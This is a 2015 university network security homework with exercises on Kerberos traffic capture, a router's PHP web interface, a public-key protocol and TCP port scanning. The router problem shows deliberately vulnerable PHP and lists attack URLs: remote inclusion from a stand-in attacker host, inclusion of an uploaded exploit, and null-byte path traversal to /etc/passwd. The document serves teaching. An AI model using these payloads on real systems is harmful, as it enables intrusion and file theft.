14-741/18-631: Homework 3

Assigned: Monday November 9, 2015
Due: Monday November 23, 2015

Name:

Andrew ID:

Scores

Problem 1 (30 pts max):

Problem 2 (20 pts max):

Problem 3 (25 pts max):

Problem 4 (25 pts max):

Total (100 pts max):

Guidelines

- Be neat and concise in your explanations.
- Use the assignment template for written answers, you can use more than one page for a problem if absolutely needed, but do start each problem at the top of a page.
- Please check your English. You won't be penalized for using incorrect grammar, but you will get penalized if we can't understand what you are writing.
- Proofs (including mathematical proofs) get full credit. Statements without proof or argumentation get no credit.
- There is an old saying from one of my math teachers in college: "In math, anything that is only partially right is totally wrong." While I am not as loathe to give partial credit, please check your derivations.
- **This is not a group assignment. Feel free to discuss the assignment in general terms with other people, but the answers must be your own.** Our academic integrity policy strictly follows `http://www.ini.cmu.edu/ini_files/docs/policies/MS25_INIStudentHandbook.pdf`, section IV-C.
- Write a report using your favorite editor, and submit it using Blackboard before 7:30pm Eastern on the due date. Late submissions incur penalties as described on the syllabus (first you use up grace credits, then you lose points). **Only PDF submissions will be graded.**
- Post any clarifications or questions regarding this homework in Piazza.
- Good luck!

1 Running Kerberos and Wireshark (30 pts)

Kerberos is slightly more complicated than what we discussed in the lecture. While the steps were overall correct, we only presented a simplified version of the protocol. In Kerberos version 4, a client C, an authentication server AS (trusted), a ticket granting server TGS (which is often the same machine as AS but doesn't have to be), and a server V are involved. C wants to access a service on V. The following exchange takes place:

1. $C \rightarrow AS$: ID_C, ID_{TGS}, TS_1
2. $AS \rightarrow C$: $\{K_{C,TGS}, ID_{TGS}, TS_2, L_2, Ticket_{TGS}\}_{K_C}$
3. $C \rightarrow TGS$: $ID_V, Ticket_{TGS}, Authenticator_C$
4. $TGS \rightarrow C$: $\{K_{C,V}, ID_V, TS_4, Ticket_V\}_{K_{C,TGS}}$
5. $C \rightarrow V$: $Ticket_V, Authenticator'_C$
6. (optional) $V \rightarrow C$: $\{TS_5 + 1\}_{K_{C,V}}$

where

- $Ticket_{TGS} = \{K_{C,TGS}, ID_C, AD_C, ID_{TGS}, TS_2, L_2\}_{K_{TGS}}$
- $Ticket_V = \{K_{C,V}, ID_C, AD_C, ID_V, TS_4, L_4\}_{K_V}$
- $Authenticator_C = \{ID_C, AD_C, TS_3\}_{K_{C,TGS}}$
- $Authenticator'_C = \{ID_C, AD_C, TS_5\}_{K_{C,V}}$

and ID_x is the identity of x, AD_y is the authentication domain of y. TS and L denote timestamps and lifetimes, respectively.

The purpose of this exercise is to observe in practice the establishment of a Kerberos connection. You can use the Ubuntu virtual machine we provide by downloading it from `http://dogo.ece.cmu.edu/netsec-hw-vm.tar.bz2`. *Please note that the package is about 1.5 GB, so make sure to download it outside of peak hours. Avoid using the Andrew wireless network for this or you likely will run afoul of a quota. Instead, if you are on campus, use a wired connection as much as possible (it is faster anyway).* Once downloaded, the VM is in `tar.bz2` format. This can readily be unarchived on MacOS and most UNIX variants (FreeBSD, Linux). For Windows, you likely will need 7zip (`http://www.7-zip.org/`) to unarchive it.

Alternatively, you can install the necessary packages on your own machine. You will need Wireshark, a Kerberos client that can be accessed from the command line, and support for the OpenAFS filesystem (`http://www.openafs.org/`). On the VM we provide, the login is `user`, password `user`, and that user is provided `root`-equivalent privileges via `sudo`.

1. Why is the last step (Step 6) optional?
2. From the command line, run `kdestroy` to remove any stale tickets. Then, run Wireshark, and start a packet capture. While the capture is running, contact the Carnegie Mellon authentication server by executing the following command line: `kinit` [your andrew id]`@ANDREW.CMU.EDU`. (Note that Kerberos is case-sensitive.)

   Provide the output of the capture, filtering out any non-Kerberos packets. In this trace, identify the packet corresponding to the request to the server, and the response from the server. Answer the following questions, justifying your answers with outputs from Wireshark:

(a) Which version of Kerberos are you running?

(b) What is the server name? (AS)

(c) What is the client name? (C)

(d) What encryption method is being used?

(e) What is the encrypted value of the ticket $Ticket_{TGS}$ in the lecture notes (use only the first 8 hexadecimal digits)?

3. Provide the output of `klist`. How many tickets are currently valid? For how long are they valid? Who are the principals involved?

4. Destroy all your tickets (`kdestroy`) and make sure that AFS is not running (`sudo /etc/init.d/openafs-client force-stop`). Now, while running a Wireshark capture, start AFS and complete an AFS operation. This can be done with the following commands:

   - `sudo /etc/init.d/openafs-client force-start`.
   - `kinit` [your andrew id]`@ANDREW.CMU.EDU`.
   - `touch /afs/andrew.cmu.edu/usr/`[your andrew id]`/14741-test`.
   - `rm /afs/andrew.cmu.edu/usr/`[your andrew id]`/14741-test`.
   - `sudo /etc/init.d/openafs-client force-stop`.

   Answer the following questions:

   (a) Show the four Kerberos messages that preside over the establishment of the AFS connection.

   (b) What is the name of the AFS server? (V)

   (c) Show that the ticket ($Ticket_{TGS}$) the authentication server gave you is sent to the ticket granting server.

   (d) Identify the ticket that the TGS returned to you ($Ticket_V$), and show that it is sent to the AFS server when you are trying to create the file `14741-test`. Show only the first eight hexadecimal digits of the ticket. Hint: the AFS decoder for Wireshark is not the greatest thing on Earth, and your Kerberos ticket may be buried a bit. Look carefully!

5. Once again, provide the output of `klist`. How many tickets are currently valid? For how long are they valid? Who are the principals involved?

2 TPM, PHP, and HTTP (25 pts)

Bovik Corp. sells wireless routers with an embedded TPM chip. Bovik Corp. claims that these routers are virtually invulnerable to malware and compromises, because the TPM attests all software running on the router. Your company is planning on buying 500 wireless routers for your new office. As it is a big purchase, you received one of these routers for evaluation and are performing its security analysis.

The Bovik routers can be fully configured using a web interface, which is PHP-based. Essentially, PHP is a hypertext preprocessor that enhances the capabilities of HTML, allowing it (among other things) to parse some input strings. (This exercise does not assume any knowledge of PHP. Everything you need to know is here.) A segment of the PHP code in `index.php` reads as follows:

```
$token_type = $_GET['TOKEN_TYPE'];
[...]
require( $token_type. '.php' );
```

This code causes the web server to load (and potentially execute, if exectuable) a file `$token_type.php` where `$token_type` is obtained from an environment variable `TOKEN_TYPE` passed from the URL. For instance, if the router's address is at 10.0.0.1, a typical input would be of the form `https://10.0.0.1/index.php?TOKEN_TYPE=AES&TOKEN=abcde87debf7`. In that case, the server would dynamically include code for `AES.php` while rendering the webpage.

The server expects `$token_type` to be AES, DES, or IDEA, but there is no PHP code that actually checks the value of `$token_type` before the `require` statement.

1. You call up your sales representative at Bovik Corp. to complain about this, and they tell you: "Well, that's only a minor annoyance. But since the server is running HTTPS, it is perfectly secure." Explain why this reasoning is completely flawed.

2. Consider the following inputs and say whether or not the TPM could prevent the attacks from succeeding. If the attacks can be foiled, explain how. If they cannot, state why:

   - `https://10.0.0.1/index.php?TOKEN_TYPE=http://evil.attacker.com/exploit?`, which results in the PHP script downloading and running a remotely hosted file containing an exploit.
   - `https://10.0.0.1/index.php?TOKEN_TYPE=/tmp/exploit`, which makes the PHP script execute code from an already uploaded file called `exploit.php` present in the `/tmp` directory in the router.
   - `https://10.0.0.1/index.php/index.php?TOKEN_TYPE=../../../../../../../../etc/passwd%00` allows the attacker to read the contents of the `passwd` file on the router – the %00 character resolves to the NULL meta character which terminates the string.

3. Eventually, Bovik Corp offers you a free firmware update for the routers. (The firmware update is needed before the software can be updated.) Rather than recalling all products, the update procedure is carried out online, as follows: As explained before, the wireless router runs a webserver on port 80, IP address 10.0.0.1, for configuration. From the configuration webpage, after successfully authenticating via SSL, the administrator user can click on a button to update the router firmware. Note that the webserver is not accessible outside of the (private) 10/8 network. Once the update button has been pressed, the wireless access router connects, via HTTP, to the manufacturer's webserver `update.bovik.com` and downloads the file BIOS.COM. The wireless router reflashes the router BIOS with BIOS.COM, and reboots. The update procedure is, at that point, complete. No other steps are being carried out. Is the update procedure secure? Justify your answer, by either proving its security, or giving an example of attack against it.

3 Alice and Bob getting married (25 pts)

Bob wants to marry Alice. Alice's father insists that Bob proves his worth by designing a simple secure communication protocol before he agrees to let him marry Alice. The protocol has to 1) be based on public key cryptography, and 2) be able to transmit and acknowlege receipt of any message X securely between two parties A and B.

Bob comes up with the following protocol for a message X:

1. A sends $\{A, X\}_{KU_B}$ to B, where KU_B is B's public key.
2. B in turn acknowledges receipt by sending $\{B, X\}_{KU_A}$ to A, where KU_A is A's public key.

Alice's father is not impressed. He says the protocol is unnecessarily complicated, and that the following protocol would produce the *exact same level of security* as Bob's protocol while being simpler:

1. A sends $\{X\}_{KU_B}$ to B, where KU_B is B's public key.
2. B in turn acknowledges receipt by sending $\{X\}_{KU_A}$ to A, where KU_A is A's public key.

Questions:

1. Which security property/ies Bob's protocol enforces?
2. Show that Alice's father is wrong – in that one of the security properties Bob's protocol enforces is not maintained anymore.
3. Bob's protocol unfortunately has a major problem: It is vulnerable to a replay attack in case the same message X is repeated over time. Enhance the protocol proposed by Bob to prevent this attack.
4. Enhance the protocol proposed by Bob to provide the freshness property.

4 Finding open ports and bypassing firewalls (25 pts)

We know that TCP connection establishment between a client and a server works as a three-way handshake. The client sends a SYN packet to the server; if the destination port on the server side is open, the server sends back a SYN-ACK packet. The client then confirms reception of the SYN-ACK packet with an ACK packet. At that point, data exchange can proceed.

When the destination port on the server side is *closed*, most servers send back an RST-ACK packet (RST is a TCP flag, like SYN, ACK, URG, FIN...) to the client. The client then immediately terminates the connection upon receipt of the RST-ACK.

1. Suggest a technique to exhaustively determine all the open TCP ports on a given host you want to attack.

2. Harry Bovik claims the attack consumes a lot of memory on the attacker's side. Is he right or not? Why?

3. TCP hosts are also supposed to 1) answer with a RST in response to a bare (i.e., without payload) FIN packet if the destination port of the FIN packet is closed, and to 2) ignore a bare FIN packet if the destination port of the FIN packet is open. Suggest an alternative method to determine all the open TCP ports on the host you want to attack.

4. Harry Bovik tells you that neither of these attacks work to determine all open ports on a packet filtering layer-3 firewall. Why is he right?

5. Suggest an extension to either of the above attacks that allows to figure out open ports on a firewall.